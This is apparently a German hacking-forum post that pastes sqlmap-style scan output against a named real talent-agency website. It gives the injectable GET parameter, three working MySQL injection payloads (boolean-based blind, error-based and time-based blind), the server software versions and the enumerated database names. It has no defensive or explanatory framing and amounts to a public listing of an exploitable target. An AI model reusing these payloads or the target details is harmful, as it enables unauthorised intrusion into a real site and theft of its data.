Keine Antworten in diesem Thema

[Ch!ller]

http://www.trinityagency.de/hamburg/director/baran-bo-odar/?tx_trinityvideo_videolist%5Bsingle%5D=5

Parameter: tx_trinityvideo_videolist[single] (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: tx_trinityvideo_videolist[single]=5 RLIKE (SELECT (CASE WHEN (2679=2679) THEN 5 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: tx_trinityvideo_videolist[single]=5 AND (SELECT 8679 FROM(SELECT COUNT(*),CONCAT(0x716b786b71,(SELECT (ELT(8679=8679,1))),0x7178716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: tx_trinityvideo_videolist[single]=5 AND (SELECT * FROM (SELECT(SLEEP(5)))AgYr)
---
web application technology: Apache, PHP 5.5.24
back-end DBMS: MySQL 5.0
available databases [2]:
[*] db526713173
[*] information_schema